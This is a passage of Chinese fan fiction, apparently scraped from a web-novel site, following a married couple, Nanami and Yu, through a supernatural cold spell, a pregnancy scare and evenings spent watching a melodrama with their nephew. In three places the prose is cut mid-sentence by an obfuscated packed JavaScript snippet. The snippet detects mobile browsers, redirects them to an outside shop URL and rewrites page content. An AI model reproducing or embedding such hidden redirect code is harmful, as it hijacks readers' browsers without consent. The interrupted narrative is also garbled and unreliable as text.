“但是,”七海话锋一转,“主人公的心理转变可以再细腻一些。从‘享受’到‘怀疑’再到‘恐惧’,这个过程的描写可以更层次分明。” “是。”顺平认真点头。 七海顿了顿,又说:“不过,氛围营造得很出色。尤其是梦境的描写,很有画面感。” 这已经是相当高的评价了。顺平的眼睛彻底亮了起来:“谢谢姨夫!” “继续努力。”七海把笔记本还给他,“对了,数学作业写完了吗?” “写完了。” “拿来我检查一下。” “是!” 看着顺平跑回房间拿作业的背影,悠忍不住笑了。 她凑到七海身边,小声说:“七海海,你其实很会夸人嘛。” 七海耳朵又红了:“我只是实话实说。” “实话实说也是夸啊。”悠靠在他肩上,“而且顺平真的很开心。你知道吗,他以前几乎不笑,现在虽然还是害羞,但眼睛里已经有光了。” 七海沉默了一会儿,轻声说:“他很像你。” “像我?” “嗯。”七海看向窗外渐沉的夕阳,“温柔,敏感,但内在很坚韧。而且……”他顿了顿,“都想用自己的方式,去理解和表达这个世界。” 悠心里一暖,握住了七海的手。 他们的手交叠在一起,无名指上的婚戒在夕阳余晖中泛着温柔的光。 油脂亭事件渐渐平息。 警方发布了正式通报,确认老板涉嫌多起谋杀,店铺被永久关闭。 商业街恢复了往日的平静,只是偶尔还会有人提起那家“神奇”的烤肉店,语气里带着后怕和庆幸。 生活继续。 吉野风再也不敢随便尝试新店了,但她开始学着自己做烤肉。 周末,她会买上好的牛肉,在六楼的阳台上架起小烤炉,四个人围坐在一起,吃着安全的、自己烤的肉。 “还是这样好。”吉野风一边翻动着肉片一边说,“干净,放心。” 顺平帮忙摆盘子,悠调蘸料,七海负责控制火候——他做事严谨,烤出来的肉总是恰到好处,外焦里嫩。 “妹夫,你这手艺可以开店了。”吉野风开玩笑。 七海推了推眼镜:“开店太麻烦。这样就好。” 悠笑着夹起一块肉,蘸了蘸自己特调的酱料,喂到七海嘴边:“来~老公尝尝我的新配方。” 七海张嘴吃了,咀嚼几下,点头:“咸淡合适。不过辣椒可以再少一点,对胃不好。” “知道啦,健康管理师先生。”悠吐了吐舌头。 顺平看着他们自然而亲昵的互动,嘴角不自觉地上扬。 他想起以前,妈妈总是加班到很晚,他一个人在家吃便利店便当。 现在,周末的晚餐总是热闹的,有笑声,有食物的香气,有家的温度。 饭后,七海收拾餐具,顺平帮忙。 悠和吉野风在阳台乘凉。 夏夜的风终于凉爽了些,吹散了白天的燥热。 “七海海。”悠朝着屋里喊道。 “嗯?” “哎呀!就是想叫你嘛。” “哎呀!小悠你俩简直要腻倒牙了。” 35. 寒气 九月初的晨光透过百叶窗,在榻榻米上投下细长的光斑。 七海建人醒来后的第一件事,从检查手机邮件,变成了确认身边人的状况。 悠还睡着,整个人像只猫一样蜷在他身侧,黑发如泼墨般铺在枕上,有几缕贴在她微红的脸颊。 七海没有立刻起身。 他侧过脸,在晨光中静静看着悠的睡颜。 结婚快三个月了,六月中旬那场简单的婚礼仿佛还在昨日,但生活已经实实在在地踏入了某种令人安心的轨道。 他的目光不由自主地落在她搭在自己胸口的那只手上——无名指上的婚戒在晨光中泛着柔和的光泽。 然后,他的视线缓缓下移,落在她睡衣下平坦的小腹。 算起来,距离老宅那晚已经过去两个多月了。 七海闭上眼睛,在心里精确地计算着日期。 六月底在老宅,那盒“礼物”出了问题,虽然事后及时清理了,但他一直记着这件事。 悠七月份的生理期来了,但量很少,时间也推迟了三天——他当时悄悄查过资料,知道这可能是着床出血的征兆,也可能是压力导致的月经不调。 从那以后,他一直在心里计算悠的周期。 按照她以往的规律和最近的记录,这个月的生理期应该在……三天后。 可是这三天…… 七海的手轻轻覆上悠的小腹。 隔着薄薄的睡衣布料,他能感受到她温热的体温,平坦柔软的触感。 “唔……”悠在睡梦中动了动,往他怀里钻得更深了些,“七海海……冷……” 她的声音带着浓浓的睡意,含糊不清,却让七海的心软成一团。 他将被子往上拉了拉,将她整个人裹好,手臂环得更紧了些。 “还能睡十分钟。”他低声说,像是在对她说,又像是在对自己说。 七点整,七海轻轻移开悠的手,起身下床。 他想起昨晚。 悠交稿后心情很好,缠着他要看一部恐怖片,看到一半又吓得往他怀里钻。 片子结束后,两人自然而然地……频率确实不低,除了生理期那几天,每周大概有三四次。 七海一直很注意,但偶尔在安全期的时候,会允许自己稍微放松警惕。 “应该……没事吧。”他对着镜子低声说,然后摇了摇头,打开水龙头。 早餐的香气飘进卧室时,悠终于醒了。 “早安,老公大人……”她拖长声音,从背后抱住正在煎蛋的七海,把脸贴在他宽阔的背上,“好香……” “去洗脸刷牙。”七海头也不回,但嘴角微微上扬,“衬衫穿反了。” “诶?”悠低头一看,果然扣子系错了位,领子也歪了。 她没有立刻去整理,反而把整个人贴在他背上蹭了蹭,“七海海身上好暖和……” “悠。”七海关火,转身面对她,表情严肃但眼神温柔,“快去。早餐要凉了。” “知道啦……”悠松开手,晃向浴室,走到一半又回头,“对了,今天下午真由美要和我讨论新连载,可能会晚点回来。” 七海点点头,将煎蛋盛入盘中:“几点结束?我去接你。” “不用啦,就在附近的咖啡厅。”悠的声音混着水声传来,“而且七海海今天不是要加班吗?” “可以调整。” 悠洗漱完出来时,已经换上了自己的居家服,头发在脑后扎成松散的马尾。 她在餐桌前坐下,看着盘子里切好的吐司,眼睛弯起来:“七海海好贴心~” “快吃。”七海在她对面坐下,拿起财经报纸,“你今天脸色不太好,昨晚没睡好?” “有点……”悠小口吃着煎蛋,“做了个奇怪的梦。” “什么梦?” 悠想了想,皱起眉:“记不清了,但总觉得……梦里很冷,好像有什么冰凉的东西在看我。” 七海从报纸上方看了她一眼。 悠的脸色确实有些苍白,眼下也有淡淡的阴影。 他放下报纸:“最近有没有哪里不舒服?” “就是……肚子有点胀,腰有点酸。”悠实话实说,“可能是生理期快来了吧。” 七海微微一愣。 按照他的计算,生理期应该在三天后,但现在就有征兆……他记得资料上说,早孕初期也可能有类似症状。 “今天别喝冰的。”他说,“我给你泡红糖姜茶带去。” “诶——可是我想喝冰咖啡……”悠抗议。 “不行。”七海起身去厨房,“生理期前不能受凉。” 悠看着他的背影,小声嘀咕:“七海海好像老妈子哦……” “我听到了。”七海的声音从厨房传来。 悠吐了吐舌头,但心里暖暖的。 她知道七海是为了她好,只是这种无微不至的照顾,有时候会让她觉得……自己像个需要被精心呵护的瓷娃娃。 早餐后,七海出门上班。 悠送他到门口,像往常一样踮脚在他脸颊上亲了一下:“路上小心~” “嗯。”七海点头,手指轻轻拂过她的脸颊,“不舒服就给我打电话。” “知道啦。” 门关上了。 悠回到客厅,刚好看见茶几上七海留下的保温杯——里面是泡好的红糖姜茶,温度刚刚好。 她拿起杯子,抱在怀里,感受着杯壁传来的温度。 下午两点,悠在商业街的咖啡馆见到了编辑真由美。 “豆豆老师!”真由美是个三十岁左右的干练女性,短发,戴一副黑框眼镜,今天穿了一套米色的职业装,“新一期的反馈来了,读者反响非常好!” 她把读者调查表递给悠。 悠接过翻看,眼睛亮了起来——好评率比上一期高了五个百分点,很多读者留言。 “太好了……”悠松了口气。 这段时间她一直担心自己状态不好会影响创作,现在看来是多虑了。 “不过,”真由美话锋一转,推了推眼镜,“之前完本的短篇合集出版,我想和你讨论一下。” 两人讨论了将近一个小时。 期间,悠喝完了整杯红糖姜茶,又续了一杯热水。 真由美注意到她频繁喝热饮,关心地问:“豆豆老师身体不舒服?” “可能有点着凉。”悠笑笑,“最近总觉得冷。” “确实,”真由美搓了搓手臂,“这家店空调是不是开太低了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154083|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?我也觉得冷。” 悠这才注意到,咖啡馆里的温度确实偏低。 她看了看周围的其他客人,有好几个都抱着手臂,有的甚至穿上了外套。 现在是六月,东京的白天气温还在二十五度左右,不应该这么冷才对。 讨论结束后,真由美先离开了。 悠独自坐在咖啡馆里,看着窗外商业街的人流。 阳光明明很好,但不知为何,她总觉得有股寒意从骨头里透出来。 不是外界的冷,而是……从身体内部散发出来的冷。 悠打了个寒颤,抱紧了自己的手臂。 她想起昨晚那个梦——梦里那种冰冷刺骨的感觉,和现在很像。 “小姐,您的账单。”服务生走过来,递上账单时,悠注意到他的手在微微发抖。 “店里很冷吗?”悠接过账单,随口问道。 服务生苦笑着点点头:“不知道怎么回事,今天特别冷。空调检查过了,没问题,但就是冷。好几个同事都说感冒了。” 悠付了钱,走出咖啡馆。 外面的阳光照在身上,确实暖和了一些,但那种从内部透出的寒意并没有完全消失。 她看了眼手机——下午四点。 七海应该还在公司。 想了想,她还是给他发了条消息: “七海海,总觉得好冷。不是天气冷,是身体里面冷。你公司那边冷吗?” 消息几乎是秒回: “公司也很冷,空调系统在检修。你直接回家,别在外面逗留。我尽量早点回去。” 悠看着这条消息,心里安定了一些。 七海总是这样,简短的回复里带着不容置疑的关心和可靠。 回家的路上,那股寒意时强时弱。 经过便利店时,悠犹豫了一下,还是走了进去——她想买点热饮。 便利店里,店员正在和顾客抱怨: “真的邪门,今天一整天都觉得冷,穿了两件外套还是冷。” “我家也是!我老婆还说是我心理作用,可温度计显示室内只有二十度!” “听说附近好几栋楼都这样,像是……有什么冷气在扩散一样。” 悠拿了瓶热奶茶,结账时忍不住问:“这种情况持续多久了?” “从昨天开始的。”店员搓着手,“而且越来越冷。经理已经联系了空调公司,但检查不出问题。” 悠想起之前油脂亭的事件,那种不正常的流行,那种所有人都被影响的感觉…… 该不会又是…… 她摇摇头,不让自己往下想。 也许只是普通的天气异常,也许只是巧合。 走出便利店时,手机震动了一下。是七海发来的: “我已经在回家的路上了。你先回去,泡个热水澡。别想太多。” 悠看着这条消息,嘴角不自觉地上扬。 “知道啦~老公大人快点回来,我好冷,需要七海海牌暖炉~” 发送。 几秒后,回复来了: “……别闹。马上到。” 悠能想象出七海看到这条消息时耳朵微红的样子,忍不住笑出声。 寒意似乎都减轻了一些。 36. 推迟 七海比平时早了一个小时回家。 他进门时,悠正裹着毯子坐在沙发上,面前摆着速写本,但一个字也没写。 “我回来了。”七海脱下西装外套,走到沙发边,很自然地伸手探了探悠的额头,“没发烧。” “就是冷……”悠往他身边靠了靠,“七海海身上好暖和。” 七海在她身边坐下,让她靠在自己怀里,用毯子把两人一起裹住。 他的体温确实很高,像个人形暖炉,悠满足地叹了口气。 “公司那边什么情况?”她问。 “整栋楼都在检修空调,但没发现问题。”七海的声音从她头顶传来,“而且不只是我们公司,附近几栋写字楼都反映同样的问题——室内温度异常偏低,但空调系统正常。” “太奇怪了……” “嗯。”七海的手臂环紧了些,“不过应该只是天气异常。你别多想。” 悠在他怀里点点头,没多久寒气又开始蔓延,悠揉揉眼睛,打了个哈欠,这一次她突然看到。 空气中漂浮着无数细密的、冰蓝色的“线”。 这些线像蛛网一样蔓延,从窗外渗进来,缠绕在室内的每一个物体上,每一个人的身上。 而她和七海身上,也缠着不少这样的线。 冰蓝色的线……代表什么?寒意?疾病?还是…… “七海海。”她轻声说,“我看见了一些线。冰蓝色的,很细,像蛛网一样到处都是。” 七海眉头一皱开启思索:“什么样的线?” “很冷的感觉。”悠描述着,“从外面蔓延进来,缠在所有的东西上。我们身上也有。” 他看不见那些线,但能感觉到空气中不正常的低温,以及悠身上散发出的、不同于外界的寒意。 “能触碰吗?”他问。 悠试着伸出手,在空中虚虚一划。 几根冰蓝色的线应声而断,化作细小的冰晶消散在空气中。 她身上的寒意似乎减轻了一点点,但很快,又有新的线缠绕上来。 “不行……”她摇摇头,“太多了,源源不断的。而且……这些线好像是从人身上‘长’出来的。” “什么意思?” “就是……”悠努力组织语言,“不完全是外来的。有些人身上的线特别粗,特别密,像是……他们自己散发出的寒意,然后这些寒意变成了线,又去影响别人。” 七海皱起眉。 这听起来像是某种……传染性的东西。 但不是病毒,不是细菌,而是更概念性的存在。 “明天请假吧。”他说,“学校那边让顺平也请假。这种情况不适合出门。” “嗯。”悠点头,忽然想起什么,“对了,顺平今天放学回来的时候,好像也有点不对劲……” 话音刚落,门铃响了。 是吉野凪带着顺平上来了。 “小悠,七海。”吉野风脸色有些凝重,“顺平今天回来就说冷,我量了体温,有点低烧。” 顺平跟在母亲身后,脸色确实有些苍白,嘴唇微微发紫。 他裹着厚外套,但还是在发抖。 “学校……今天特别冷。”顺平小声说,“好几个同学都请假了,说感冒。但我感觉……不是普通的感冒。” 七海让两人进来,关上门。 他给顺平倒了杯热水,然后看向吉野风:“凪”姐,你感觉怎么样?” “我还好,就是觉得家里冷。”吉野凪说,“但顺平这样……我有点担心。” 悠看着顺平——少年身上缠绕的冰蓝色线比普通人粗得多,密密麻麻的,几乎要把他包裹成一个茧。 她伸出手,轻轻拂过顺平的肩膀,几根线应声而断。 顺平猛地抬起头:“小姨……刚才,好像暖和了一点?” “真的吗?”悠眼睛一亮,又试着剪断了几根线。 每剪断一根,顺平身上的寒意就减轻一分,脸色也慢慢恢复了些血色。 “有效……”七海看着这一幕,若有所思小声对她说,“悠,你剪断它们,也许能缓解,但是太多了,你有没有不适?” “还好啦,我没什么感觉?”悠苦笑,“而且也不是办法,我一个人剪不完。而且……这些线好像会再生。” 七海思考了一会儿,忽然说:“如果……不是剪断,而是‘转化’呢?” “转化?” “既然这些线代表寒意,那如果我们能让周围‘温暖’起来,不管是物理上的还是心理上的,是不是就能削弱它们?” 悠愣住了。 这个想法……听起来很天真,但不知道为什么,她觉得可行。 “我们可以试试。”她说,“比如……煮热汤分给邻居,或者组织大家一起做些暖和的活动。” 吉野凪听不太懂他们在说什么,但抓住了关键词“小悠你们要煮热汤?这个我可以帮忙!正好我买了生姜和红糖。” 七海点头“那就这么办。今天先休息,明天开始把。凪姐,顺平今晚就睡在这里吧。” “太麻烦你们了……”吉野风有些不好意思。 “一家人不说两家话。”悠笑着说,“而且顺平看起来好多了。” 确实,经过悠刚才的“处理”,顺平身上的寒意明显减轻了。 他捧着热水杯,小声说:“谢谢小姨,谢谢姨夫。” 晚上,四个人一起吃了顿简单的火锅。 热腾腾的蒸汽驱散了室内的寒意,食物的香气和交谈声让整个房间都温暖起来。 悠注意到,随着大家情绪的高涨,那些冰蓝色的线似乎在慢慢变淡、变细。 也许七海是对的。 温暖,不管是体温上的还是心理上的,都能对抗这种寒意。 三天后,悠的生理期没有来。 又过了两天,依然没有任何迹象。 悠开始慌了。 她坐在浴室里,看着空空如也的卫生巾包装,心跳得厉害。 不是吧……真的中了? 她想起上个月生理期量很少,而且他们最近的频率——除了生理期,基本每周都有几天。 虽然七海谨慎,每次都做足措施,到安全期的时候他有时候会体外…… “悠,你没事吧?”七海在门外敲门,“你在里面待了二十分钟了。” 悠赶紧站起来,冲了水,打开门。 七海站在门外,眼镜后的眼睛带着明显的担忧。 “那个……”悠小声说,“还没来。” 七海安慰的撩过她垂落的发丝,然后说“推迟几天是正常的。可能最近赶稿压力大,加上前几天受凉。” “可是我上个月量就很少……”悠抓住他的衣角,“七海海,万一真的……” “别慌。”七海握住她的手,发现她的手心冰凉,“我去买验孕棒。你在家等着。” “我也去!” “不行。”七海难得态度强硬,“你现在需要休息。而且如果真的是……需要小心一点。” 悠看着他严肃的表情,心里暖了一下,又慌了一下。 最后她点点头:“那你快点回来。” 七海换上外出的衣服,走到门口时又回头:“不要胡思乱想。等我回来。” 门关上了。 悠坐在沙发上,抱着膝盖。 她低头看着自己的小腹,那里还平坦如常。 如果真的怀孕了…… 她会成为一个母亲。 七海会成为一个父亲。 他们会有一个孩子,一个继承了他们血脉的小生命。 她应该高兴的。 可是为什么心里这么乱? 是因为漫画吗?它才连载到第六话,正是关键时期。 如果怀孕了,她还能按时交稿吗?真由美会理解吗? 还有七海。 他会不会觉得太早了?他会不会有压力? 门锁转动的声音响起。 悠跳起来冲过去,七海拎着便利店袋子走进来,额头上有一层薄汗——他应该是跑着去的。 “买了三种不同牌子的。”七海把袋子放在桌上,“我们现在测一下?然后明天早上再测一次?” 悠看着袋子里那些小小的盒子,突然没那么慌了。 七海这么认真地准备,这么细心地买了不同牌子,这么……可靠。 “我现在去。”悠拿起一盒,“等明天早上再测一次,这样比较准。” “好。”七海点头,“我去烧水。测完喝点热水。” 悠走进浴室,按照说明书操作。 等待的那几分钟,她盯着验孕棒上的窗口,心跳如擂鼓。 一条线。 慢慢出现了。 然后是……第二条? 等等,第二条线很淡很淡,几乎看不清。 是阳性还是阴性?说明书上说,哪怕很淡也算阳性,可是…… “悠?”七海在外面敲门。 悠打开门,把验孕棒递给他。 七海接过来,仔细看了看,又对照说明书。 “……可能怀孕了。”他最终说,“但线很淡,不能确定。明天早上再测一次。” “那现在怎么办?”悠问。 七海放下验孕棒,握住她的手“现在,你需要好好休息。别赶稿了,我去跟真由美小姐解释。” “可是截稿日……” “身体更重要。”七海打断她,“而且这只是可能。明天早上再测一次,如果还是阳性,我们就去医院检查。” 悠看着七海——他的表情很镇定,但握着她的手微微出汗。 他也在紧张。 她突然笑了:“七海海,你出汗了。” 七海一愣,然后无奈地说“……这个时候还开玩笑。” “因为看你这么紧张, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154084|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我突然就不紧张了。”悠抱住他,“就算真的怀孕了,也没关系。我们有存款,你有稳定的工作,我的漫画也在连载。而且……” 她抬头看着他:“而且七海海一定会是个好爸爸。你看你对顺平多好。” 七海的手臂收紧,把悠搂进怀里。 他的下巴抵在她的发顶,声音低哑:“……我会努力的。” “我也会努力的。”悠闭上眼睛,“努力当个好妈妈,努力继续画漫画,努力……和你一起,把这个家经营好。” 两人就这么静静抱了一会儿。然后七海说“去躺着吧。我给你热牛奶。” “我想吃冰淇淋。”悠小声说。 “不行。”七海毫不犹豫地拒绝,“在确定是否怀孕之前,凉的、刺激性的食物都不能吃。” “七海海好严格……” “这是为你好。”七海顿了顿,语气软下来,“等确定了,如果没有怀孕,我带你去吃那家新开的甜品店。听说他们的草莓芭菲很好吃。” 悠眼睛一亮:“真的?” “嗯。”七海点头,“所以现在乖乖去躺着。” 第二天早上,悠测了第二次。 这次,只有一条线。 “阴性。”七海看着验孕棒,松了口气,但眼底闪过一丝不易察觉的失落,“应该没有怀孕。” “那为什么生理期推迟了?”悠问。 七海想了想:“你这几天有没有哪里不舒服?” “嗯……肚子有点胀,腰有点酸,而且……”悠突然想起什么,脸色变得微妙,“啊!我前天不是偷吃了三个冰淇淋吗?然后昨天又喝了冰箱里的冰酸奶……” 七海的表情严肃起来:“悠。” “对不起嘛……”悠低下头,“可是天太热了……不对,是之前天太热的时候我囤的……” 七海叹了口气:“应该是吃太多凉的,导致宫寒,生理期推迟了。今天开始,不许再吃冰淇淋,冷水也要少喝。我去给你煮红糖姜茶。” “七海海……”悠拉住他的衣角,“你是不是……有点失望?” 七海动作一顿。 他背对着悠,有点迟疑“……有一点。但更多的是担心。你还年轻,漫画事业也刚起步,如果现在怀孕,你会很辛苦。” 他转过身,看着悠:“而且,我想给你更好的条件。现在的公寓太小了,如果有了孩子,我们需要更大的房子。我的工作虽然稳定,但收入还不够高。我想……再努力一点,让你和孩子能过得更轻松。” 悠的鼻子一酸。 她扑进七海怀里:“笨蛋七海海……你已经很好了。房子小没关系,我们可以换。收入不够高没关系,我的漫画也能赚钱。重要的是我们在一起。” 七海抱住她,轻轻拍着她的背:“嗯。所以不用着急。等我们都准备好了,再迎接新生命。” “那……”悠抬头,眼睛亮晶晶的作怪,“既然没有怀孕,今晚是不是可以……” 七海耳根一红:“……先调理好身体。生理期来了再说。” “小气~” “这是为你好。” 虽然生理期的误会解除了,但悠确实开始注意饮食。 七海每天给她煮红糖姜茶,监督她不喝冷水,晚上还会给她泡脚。 而之前关于“寒意”的问题。 七海、吉野凪和顺平帮忙,给整栋公寓楼的邻居都送了一份热汤。 “最近天气异常,大家注意保暖。”七海给每户人家都这样解释,“自己家里熬的,喝点热汤驱驱寒。” 五楼双胞胎的外婆,老人家拉着七海的手说“谢谢你们啊,这栋楼有你们这样的年轻人,真是福气。” 而公寓楼里的温度似乎真的在慢慢回升。 不是物理上的温度计变化,而是一种……氛围的变化。 大家开始在聊天群里交流,互相问候,约着一起买菜、唠家常。 那种冷漠和疏离感被打破了,取而代之的是邻里间的温暖。 那些冰蓝色的线在慢慢变淡、变少。 每当有人露出笑容,他们身上的线就会断裂几根。 每当邻里间互相问候时,空气中的线网就会稀疏一些。 “真的有效……”她小声对七海说。 “嗯。”七海点头,“温暖是可以传递的。” 几天后,慢慢的寒意彻底退散了。 七海知道是上层那群人终于出手彻底解决根源了。 学校的温度恢复正常,请假的学生陆续返校。 公司的空调系统“突然好了”,七海回去上班时,同事们都精神了不少。 没有人知道具体发生了什么。 普通人只当这是一场奇怪的倒春寒——虽然现在是秋天。 但悠和七海都知道。 她看着窗外明媚的阳光,看着邻居们在楼下笑着打招呼,看着顺平背着书包上学的背影。 37. 天雷滚滚 生理期在一周后终于来了。 虽然有点痛,但悠反而松了口气——至少说明身体没问题。 那天晚上,悠泡完脚,钻进被窝。 七海已经躺下了,戴着眼镜在看一本经济学的书。 “七海海。”悠蹭过去,把头枕在他肩上。 “嗯?”七海放下书,摘下眼镜。 “我在想……”悠小声说,“如果以后真的怀孕了,我们会是什么样?” 七海认真考虑了一会儿,然后说“会很忙。我们要准备婴儿用品,要学习育儿知识,要调整工作和生活节奏。而且你会很辛苦,孕吐、浮肿、失眠……这些都是可能发生的。” “听起来好可怕……”悠缩了缩。 “所以要做好准备,我们是不是已经做好成为父母的打算。”七海的声音在黑暗中显得格外温柔,“不过仔细想想,能感受到新生命在成长,可以一起期待他的到来,可以想象他长得像你还是像我。” 悠想象着那个画面——七海抱着一个婴儿,笨拙但温柔地哄着。 那个婴儿可能有七海的金发,有她的黑眼睛,或者反过来…… “好像……也不错。很幸福。”她小声说。 “所以不用着急。”七海搂住她,“等我们都准备好了,等你的漫画稳定了,等我们换了更大的房子,等……你觉得真的想成为母亲的时候。” “那七海海呢?你想成为父亲吗?” “我还在学习。”七海诚实地说,“学习怎么照顾人,怎么教育孩子,怎么平衡工作和家庭。虽然还有很多不足,但我会努力。” “你已经做得很好了。”悠笑着说,“你看,你把顺平照顾得很好,把我照顾得更好,把整个家都照顾得很好。” 七海耳根微红:“……还差得远。” 悠翻过身,趴在他胸口,看着他的眼睛“七海海,我爱你。” 七海怔了怔,然后很稳很重地说:“……我也爱你。” 这一次,他的声音清晰而坚定。 悠笑了,凑上去吻他。 吻很轻,很温柔,像羽毛拂过。 但七海很快加深了这个吻,手掌扣住她的后脑,舌尖探入,馋绵而炽热。 吻逐渐失控。 悠手指触碰七海的金发,感受着他滚烫的体温。 两人呼吸交织在一起,心跳渐渐同步。 “悠。”七海忽然开口。 “嗯?”悠快睡着迷迷糊糊地应道。 “不管有没有孩子,你都是我最重要的人。”他的声音低沉而认真,“所以不用着急,不用勉强。我们有一辈子的时间。” 悠的鼻子一酸。她把脸埋进他的颈窝,小声说:“……七海海太狡猾了。说这种话……” “是真心话。” “我知道。”悠抬起头,在黑暗中寻找他的眼睛,“我也是。七海海是我最重要的人,比任何人都重要。” 七海的手臂收紧,将她搂得更紧。 两人就这么相拥着,听着彼此的呼吸和心跳,慢慢沉入梦乡。 窗外的月光洒进来,照在两人交握的手上。 很普通,很温暖。 九月底,东京的夜晚来得越来越早。 晚上七点,天已经完全黑了。 晚餐刚刚结束。 七海在厨房洗碗,水流声规律而平稳。 顺平在餐桌旁写作业,偶尔抬头看一眼客厅的方向,表情微妙。 客厅里,悠和吉野凪并排坐在沙发上,眼睛紧盯着电视屏幕,手里各抱着一袋零食。 “我就知道!那个护士绝对是反派的人!”悠激动地拍大腿,薯片碎屑掉了一身,“上周她给男主换药的时候眼神就不对劲!” “可不是嘛!”吉野凪织围巾的手都停了,“你看她刚才和主治医生在走廊交换眼神,绝对有鬼!” 电视屏幕上,穿着病号服的男主角躺在病床上,面色苍白。 美丽的女护士正在给他换点滴,笑容温柔,但镜头特写她的手——正在偷偷调快滴速。 “她这是要谋杀啊!”悠倒吸一口凉气。 “为了继承遗产吧?”吉野凪分析,“上周不是说了吗,男主如果死了,他那个同父异母的弟弟就能拿到公司股份……” “可那个弟弟上周车祸失忆了!” “所以是失忆前安排的!” 两个女人同时露出恍然大悟的表情,然后继续专注地盯着电视。 厨房里,七海关掉水龙头,用干净的毛巾擦干手。 他推了推眼镜,看了眼客厅的方向,又看了眼餐桌旁的顺平。 顺平刚好抬头,两人对视一眼。 少年耸了耸肩,表示自己也无能为力。 这已经是《宿命之恋》开播以来的第八周。 每周三、周五晚上八点,悠和吉野风雷打不动地聚在客厅,追这部狗血程度与日俱增的午夜剧。 七海起初还能保持冷静,直到上周的剧情发展到男主角被绑架到泰国做变性手术,而女主角整容换身份后接近的反派其实是自己失散多年的生父。 这周更离谱——男主变性后回国,以女企业家的身份和女主角(现在是另一个身份)成为商业伙伴,两人在不知情的情况下再次相爱。 最新一集揭露,恶毒婆婆得了癌症,临死前想忏悔,结果被私生女拔了氧气管。 七海端着切好的水果走到客厅,放在茶几上。 “谢谢七海海~”悠头也不回,伸手摸了一片苹果塞进嘴里,“啊!护士被发现了!” 电视里,女主角冲进病房,一把抓住护士的手:“你在干什么!” 紧张的音乐响起,镜头在三个人的脸之间快速切换。 七海在悠身边坐下,看了眼屏幕。正好播到护士撕下温柔面具,露出狰狞笑容:“既然被发现了,那就一起死吧!” 然后她从口袋里掏出一把手术刀。 七海:“……” 他默默地拿起遥控器,调小了音量。 “诶!声音太小了!”悠抗议。 “顺平在写作业。”七海平静地说。 悠看了眼餐桌方向顶着作业本默不作声的顺平,不好意思地挠挠头,不再抗议。 一集结束,片尾曲响起。 吉野凪看了眼时间:“哎呀,快九点了,我该下去了。顺平,作业写完了吗?” “还差一点。”顺平合上练习册松了一口气,“不过可以带下去写。” 母子俩离开后,家里恢复了安静。 悠还沉浸在剧情里,一边收拾零食袋一边念叨:“你说那个护士会不会是男主角失散多年的妹妹?上周不是暗示男主妈妈生的是双胞胎吗?” “悠。”七海关掉电视。 “嗯?”悠抬头。 “该讨论正事了。”七海推了推眼镜,“真由美小姐下午不是打电话来,说新连载的反馈出来了吗?” “啊!对!”悠跳起来,跑去工作台拿来一叠读者调查表,“你看!好评率百分之九十二!创纪录了!” 七海接过调查表,认真翻阅。 “看完不敢一个人上厕所!” “镜子那段我做了三天噩梦!” “豆豆老师的恐怖又升级了!” “求第二话!等不及了!” 但也有一部分读者提出意见: “结局太绝望了,看完心情不好。” “主角好可怜,不能给一点希望吗?” “虽然恐怖,但完全黑暗的风格有点承受不住……” 七海指着这几条留言:“你怎么看?” 悠盘腿坐回沙发上,表情认真起来:“我知道有些读者喜欢温情结局,但这本的定位就是纯粹的恐怖。我想探索人性最黑暗、最绝望的一面,不给任何救赎。” 她拿起自己的构思笔记,翻到某一页:“你看第一话,兄妹相爱发现血缘真相后双双崩溃自杀;第二话,主角发现自己的人生是偷来的,在虚无中发疯;第三话,一个人被改造成另一个人,连自我认知都扭曲……” 每一话的标题旁边都画着阴森的分镜草稿,光是看草图就让人脊背发凉。 七海沉默了一会儿:“最近是压力大么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154085|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “没有吧。”悠摇摇头,看着七海一言难尽的表情忍不住笑出来“我就是想试试自己的极限。而且现在市场需要这种刺激的题材,真由美也说编辑部很支持。” “但要注意调节。”七海看着她,“长期沉浸在黑暗创作里,可能会影响情绪。” “放心啦~”悠笑着凑过去,靠在他肩上,“我有七海海这个人间电灯泡在,亮的发光~” 七海无奈地摇头,手臂自然地环住她的肩。 不过随之而来的创作确实遇到了瓶颈。 不是没灵感,而是灵感太多,反而不知道如何取舍。 悠想表达的恐怖,但尝试了好几个角度都不满意。 周三晚上,送走凪姐和顺平后,悠对着空白的速写本发呆。 工作台上摊满了草稿纸,每一张都只画了一半就被废弃。 七海洗完澡出来,看到她还在工作台前,走过去揉了揉她的头发:“还在想?” “嗯……”悠叹气,“想画一个人发现自己的记忆是假的,但又不知道该怎么表现这种崩溃。直接发疯太俗套,冷静接受又不够恐怖……” 七海在她身边坐下,拿起一张废弃的草稿看。 画面上是一个人对着镜子,镜中的倒影却是另一个人。 “这个构图不错。”他说。 